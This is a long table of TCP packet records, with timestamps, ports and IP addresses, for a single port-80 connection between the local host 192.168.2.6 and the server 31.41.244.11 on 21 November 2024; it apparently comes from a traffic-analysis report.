Nov 21, 2024 14:11:11.886643887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.886712074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.886754990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.886882067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.889401913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.889460087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.889636040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.889695883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.892143011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.892200947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.892231941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.892286062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.894846916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.894906044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.894977093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.895032883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.897511005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.897569895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.897607088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.897660017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.900201082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.900265932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.900274992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.900326014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.903012991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.903090954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.903135061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.903186083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.905633926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.905704975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.905880928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.905975103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.908339977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.908399105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.908456087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.908514023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.911046982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.911102057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.911113024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.911161900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.913958073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.914012909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.914077997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.914135933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.916490078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.916544914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.916589975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.917171955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.919176102 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.919332027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.919393063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.923818111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.923875093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.923964977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.924027920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.925168037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.925286055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.925329924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.925329924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.933661938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.933731079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.933821917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.933918953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.934935093 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.934999943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.935065985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.935266972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.942740917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.942801952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.942862034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.942931890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.944132090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.944186926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.944190979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.944242954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.951859951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.951925993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.952004910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.952073097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.953233957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.953285933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.953308105 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.953370094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.960841894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.960897923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.960926056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.960958004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.962239981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.962331057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.962410927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.962485075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.968461037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.968522072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.968569040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.968624115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.969917059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.969952106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.969989061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.970021963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.975205898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.975267887 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.975361109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.975415945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.976675034 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.976735115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.976831913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.976942062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.979268074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.979351997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.979439974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.979495049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.981950045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.982055902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.982075930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.982125998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.984687090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.984803915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.984832048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.984884977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.987376928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.987478971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.987504959 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.987559080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.990060091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.990123034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.990140915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.990194082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.992635012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.992693901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.992703915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.992743969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.995088100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.995174885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.995214939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.995384932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.997459888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.997530937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.997574091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.997622967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.999859095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.999912977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:11.999927998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:11.999994040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.002023935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.002088070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.002135038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.002242088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.004314899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.004370928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.004395008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.004437923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.006362915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.006434917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.006443977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.006489992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.008578062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.008654118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.008704901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.010802984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.010853052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.010858059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.010899067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.013365030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.013427019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.013433933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.013678074 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.015115023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.015185118 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.015244007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.015341043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.183938026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.184103966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.184154034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.184250116 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.184314966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.184351921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.184411049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.185328960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.185364962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.185404062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.185420990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.187486887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.187522888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.187542915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.187571049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.189867973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.189902067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.189954996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.191873074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.191907883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.191926003 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.191956043 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.194159031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.194194078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.194217920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.194235086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.196588039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.196623087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.196647882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.196664095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.198771000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.198806047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.198832035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.198849916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.200748920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.200783014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.200798035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.200830936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.202610016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.202662945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.203082085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.203138113 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.204893112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.204961061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.205240011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.205313921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.207067013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.207125902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.207745075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.207794905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.209414005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.209449053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.209465027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.209495068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.211440086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.211476088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.211498022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.211515903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.213649988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.213685036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.213716984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.213761091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.215085030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.215118885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.215145111 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.215158939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.219001055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.219037056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.219064951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.219079971 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.221893072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.221956968 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.222049952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.222184896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.224348068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.224406958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.224450111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.224495888 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.226032019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.226068020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.226089001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.226160049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.226965904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.227284908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.227369070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.228364944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.228976011 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.229012012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.229027033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.229055882 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.230659008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.230694056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.230731964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.230765104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.232330084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.232364893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.232377052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.232417107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.235069990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.235122919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.235696077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.235759020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.237133026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.237194061 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.237277985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.237365961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.238822937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.238873005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.238954067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.239002943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.240375042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.240426064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.240704060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.240756989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.242033005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.242089987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.242203951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.242326975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.243721008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.243791103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.243870020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.243962049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.245366096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.245444059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.245522022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.245585918 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.247055054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.247090101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.247121096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.247137070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.248670101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.248737097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.248847961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.248897076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.250422955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.250457048 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.250473976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.250617027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.251928091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.251997948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.252063990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.252098083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.252131939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.252150059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.252187967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.252270937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.252326965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.252392054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.252433062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.256890059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.256956100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.258476019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.258538961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.259094954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.259130955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.259145021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.259174109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.260207891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.260375023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.260427952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.261746883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.261836052 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.261888981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.261946917 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.263448954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.263650894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.263711929 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.265036106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.265366077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.265425920 CET	49876	80	192.168.2.6	31.41.244.11
